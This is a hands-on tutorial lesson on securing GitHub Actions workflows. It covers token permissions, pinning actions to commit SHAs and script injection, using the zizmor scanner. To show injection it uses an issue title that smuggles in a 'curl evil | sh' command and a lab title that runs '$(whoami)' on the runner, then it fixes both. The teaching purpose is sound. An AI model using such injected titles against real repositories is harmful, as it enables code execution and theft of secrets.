Day 9: Securing Workflows
Goal: Find and fix the three most common vulnerabilities in workflows: too many permissions for the
GITHUB_TOKEN, actions with mutable versions and script injection via foreign text. Tool: zizmor. · Duration: approx. 75 min · Prerequisite: Day 8
Briefing
- Permissions: Every run gets a
GITHUB_TOKEN. What it may do is defined bypermissions:. Without it, the repository defaults apply. Rule:contents: readat the top, more only in the job that needs it. - Pinning:
uses: actions/checkout@v7points to a Git tag, and tags can be moved. Whoever takes over the repository of an action changes what your workflow runs. A commit SHA is immutable. - Injection:
${{ … }}is substituted before the shell sees the command. If it contains text from outside – the title of an issue, the name of a branch –, that text becomes code. - zizmor checks workflows statically for these and other problems.
Title: a"; curl evil | sh; echo "
run: echo "${{ github.event.issue.title }}" ──► echo "a"; curl evil | sh; echo ""
env: TITEL: ${{ github.event.issue.title }}
run: echo "$TITEL" ──► echo "$TITEL" (text only)
Drill 1: zizmor
mkdir -p ~/gha-lab/zizmor
cd ~/gha-lab/zizmor
gh release download v1.32.0 -R zizmorcore/zizmor \
-p zizmor-x86_64-unknown-linux-gnu.tar.gz
tar xzf zizmor-x86_64-unknown-linux-gnu.tar.gz
mv zizmor ~/.local/bin/
zizmor --versionExpected:
zizmor 1.32.0
cd ~/gha-lab/notes-actions
zizmor -q --offline .github/workflows | tail -1Expected (the numbers may differ):
68 findings (24 suppressed, 6 unsafe fixes): 0 informational, 5 low, 10 medium, 29 high
-qsuppresses the progress messages,--offlinechecks only the files and does not query GitHub.- zizmor itself suppresses 24 findings because they are too uncertain in the default mode.
What kinds of findings?
zizmor -q --offline .github/workflows | grep -oE '^[a-z]+\[[a-z-]+\]' | sort | uniq -cExpected:
1 error[cache-poisoning]
2 error[excessive-permissions]
26 error[unpinned-uses]
5 help[artipacked]
10 warning[excessive-permissions]
grep -oEextracts only the kind and name of the finding from each line,sort | uniq -ccounts identical lines.unpinned-uses: actions without a commit SHA.excessive-permissions: workflows withoutpermissions:or with too much of it.artipacked:actions/checkoutleaves the token in.git/config– a later step that uploads the working directory as an artifact gives it away.cache-poisoning: a release workflow uses a cache that any pull request can fill.
Save your progress? Sign up for free
Drill 2: Script injection
A workflow that greets new issues – with a typical mistake. (No colon
after “Issue”: : in the middle of an unquoted YAML value
makes the file invalid, and GitHub then silently ignores the
workflow.)
cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
issues:
types: [opened]
permissions:
contents: read
jobs:
hallo:
runs-on: ubuntu-24.04
steps:
- run: echo "Neues Issue ${{ github.event.issue.title }}"
EOF
git add .github
git commit -qm "issue: begrüßen"
git push -qNow an issue with an unusual title:
gh issue create --title 'Test"; echo "INJIZIERT als $(whoami)' --body 'Test'Expected:
https://github.com/<du>/notes-actions/issues/12
With the ID from
gh run list --workflow issue.yml --limit 1, as soon as the
run is finished:
gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'Expected (timestamps shortened):
hallo Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... Neues Issue Test
hallo Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... INJIZIERT als ru...
The title became a second command, and $(whoami) ran on
the runner. Instead of echo, it could have been
curl … | sh – with access to all secrets and the job’s
GITHUB_TOKEN. Anyone who can see the
public repository may create the issue.
zizmor knows the pattern:
zizmor -q --offline .github/workflows/issue.yml | head -3Expected:
error[template-injection]: code injection via template expansion
--> .github/workflows/issue.yml:13:36
|
The solution: the value comes in via env: as an
environment variable. The shell substitutes it, but treats it only as
text:
cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
issues:
types: [opened]
permissions:
contents: read
jobs:
hallo:
runs-on: ubuntu-24.04
steps:
- env:
TITEL: ${{ github.event.issue.title }}
run: echo "Neues Issue $TITEL"
EOF
git commit -qam "issue: Titel nur über env"
git push -q
gh issue create --title 'Test2"; echo "INJIZIERT als $(whoami)' --body 'Test'With the new ID, as soon as the run is finished:
gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'Expected:
hallo Run echo "Neues Issue $TITEL" ... Neues Issue Test2"; echo "INJIZIERT als $(who...
One line, the title as text. Clean up:
gh issue close 12
gh issue close 13Save your progress? Sign up for free
Drill 3: Limiting permissions
The repository default:
gh api repos/{owner}/{repo}/actions/permissions/workflowExpected:
{"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}
Already good – new repositories give the token read permissions only.
Still, permissions: belongs in every workflow: someone can
change the default, older repositories and many organizations are still
set to write, and whoever reads the file sees right away
what the workflow may do.
For ci.yml, hallo.yml, vm.yml
and gpu.yml, read is enough. Two lines per file, right
after name:, with sed:
sed -i '1a permissions:\n contents: read' .github/workflows/ci.yml
sed -i '1a permissions:\n contents: read' .github/workflows/hallo.yml
sed -i '1a permissions:\n contents: read' .github/workflows/vm.yml
sed -i '1a permissions:\n contents: read' .github/workflows/gpu.yml
head -4 .github/workflows/ci.ymlExpected:
name: ci
permissions:
contents: read
concurrency:
1a means: append after line 1, \n separates
the two new lines.
zizmor -q --offline .github/workflows | grep -c '^[a-z]*\[excessive-permissions\]'Expected:
2
Two findings remain, in image.yml and
release.yml: there, write permissions
(packages: write and contents: write
respectively) are at the top level and thus apply to
all jobs. It is better to have them only in the job
that needs them. The challenge cleans up release.yml;
image.yml works the same way.
Save your progress? Sign up for free
Drill 4: Pinning actions
Which commit does actions/[email protected] belong to?
gh api repos/actions/checkout/commits/v7.0.1 --jq .shaExpected:
3d3c42e5aac5ba805825da76410c181273ba90b1
This is how you pin an action: SHA instead of tag, the version as a
comment after it. ci.yml with all actions pinned – and
persist-credentials: false against
artipacked:
cat > .github/workflows/ci.yml <<'EOF'
name: ci
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
on:
push:
branches: [main]
paths-ignore: ['**.md']
pull_request:
jobs:
test:
strategy:
matrix:
os: [ubuntu-24.04, ubuntu-24.04-arm]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
- name: Statische Prüfung
run: go vet ./...
- run: go test ./...
- name: PR-Info
if: github.event_name == 'pull_request'
env:
VON: ${{ github.head_ref }}
NACH: ${{ github.base_ref }}
run: echo "PR $VON -> $NACH" | tee -a "$GITHUB_STEP_SUMMARY"
build:
needs: test
strategy:
matrix:
goarch: [amd64, arm64]
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
- name: Bauen
env:
CGO_ENABLED: "0"
GOOS: linux
GOARCH: ${{ matrix.goarch }}
run: >-
go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_SHA::7}"
-o notes-api-linux-$GOARCH .
- uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: notes-api-linux-${{ matrix.goarch }}
path: notes-api-linux-${{ matrix.goarch }}
retention-days: 7
smoke:
needs: build
runs-on: ubuntu-24.04
steps:
- uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
name: notes-api-linux-amd64
- name: Starten und prüfen
run: |
chmod +x notes-api-linux-amd64
NOTES_API_KEY=lab-api-key-123 PORT=8090 ./notes-api-linux-amd64 &
sleep 1
curl -fsS localhost:8090/healthz
lint:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
- uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9.3.0
with:
version: v2.15.0
EOF
zizmor -q --offline .github/workflows/ci.ymlExpected:
No findings to report. Good job! (4 suppressed)
- Lines with a SHA get long. The comment still belongs on the same line.
- The comment
# v7.0.1is for humans – and for Dependabot and Renovate, which use it to recognize which version is meant and update pinned SHAs (Day 10). persist-credentials: false:checkoutdoes not store the token in.git/config. Whoever needsgit pushafterwards sets it back totruedeliberately.
git commit -qam "ci: Actions gepinnt, keine Zugangsdaten im Checkout"
git push -qSave your progress? Sign up for free
Checkpoint
zizmor -q --offline .github/workflows/ci.yml .github/workflows/issue.yml | tail -1Expected:
No findings to report. Good job! (4 suppressed)
grep -c '@[0-9a-f]\{40\} # v' .github/workflows/ci.ymlExpected:
9
gh run list --workflow ci.yml --limit 1 --json conclusion --jq '.[0].conclusion'Expected (as soon as the run is finished):
success
Challenge
Bring release.yml down to zero findings: pin actions,
contents: write only for the release job,
contents: read at the top, no cache in the release
build.
Hint: permissions: also works per job.
setup-go has the switch cache: false. You get
the SHAs as in Drill 4.
Solution
cat > .github/workflows/release.yml <<'EOF'
name: release
on:
push:
tags: ['v*']
permissions:
contents: read
jobs:
build:
strategy:
matrix:
goarch: [amd64, arm64]
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
cache: false
- name: Bauen
env:
CGO_ENABLED: "0"
GOOS: linux
GOARCH: ${{ matrix.goarch }}
run: >-
go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_REF_NAME#v}"
-o notes-api-linux-$GOARCH .
- uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: notes-api-linux-${{ matrix.goarch }}
path: notes-api-linux-${{ matrix.goarch }}
release:
needs: build
runs-on: ubuntu-24.04
permissions:
contents: write
steps:
- uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
pattern: notes-api-linux-*
merge-multiple: true
- name: Prüfsummen
run: sha256sum notes-api-linux-* > SHA256SUMS
- name: Release anlegen
env:
GH_TOKEN: ${{ github.token }}
VORAB: ${{ contains(github.ref_name, '-') }}
run: >-
gh release create "$GITHUB_REF_NAME" notes-api-linux-* SHA256SUMS
--repo "$GITHUB_REPOSITORY" --generate-notes --prerelease="$VORAB"
EOF
zizmor -q --offline .github/workflows/release.ymlExpected:
No findings to report. Good job! (4 suppressed)
git commit -qam "release: gepinnt, Rechte pro Job, ohne Cache"
git push -qcache: false in the release: otherwise a cache that a
pull request can fill would influence the binaries you publish.
Save your progress? Sign up for free
Enterprise Note
pull_request_targetruns in the context of the target repository – with secrets and write permissions, even for pull requests from forks. Whoever checks out and runs the pull request’s code there hands both to strangers. zizmor reports this asdangerous-triggers.- Policies for actions: Under Settings → Actions → General, organizations allow only certain actions, such as those by GitHub, verified creators and a list – and can enforce SHA pinning.
- zizmor in CI:
zizmor --format sarifplusupload-sarifstores the findings under Security, like Trivy on Day 8. New workflows with vulnerabilities then show up in the pull request. - Secrets in the log: GitHub masks known secrets with
***, but not what is derived from them (e.g. Base64). Mask derived values with::add-mask::.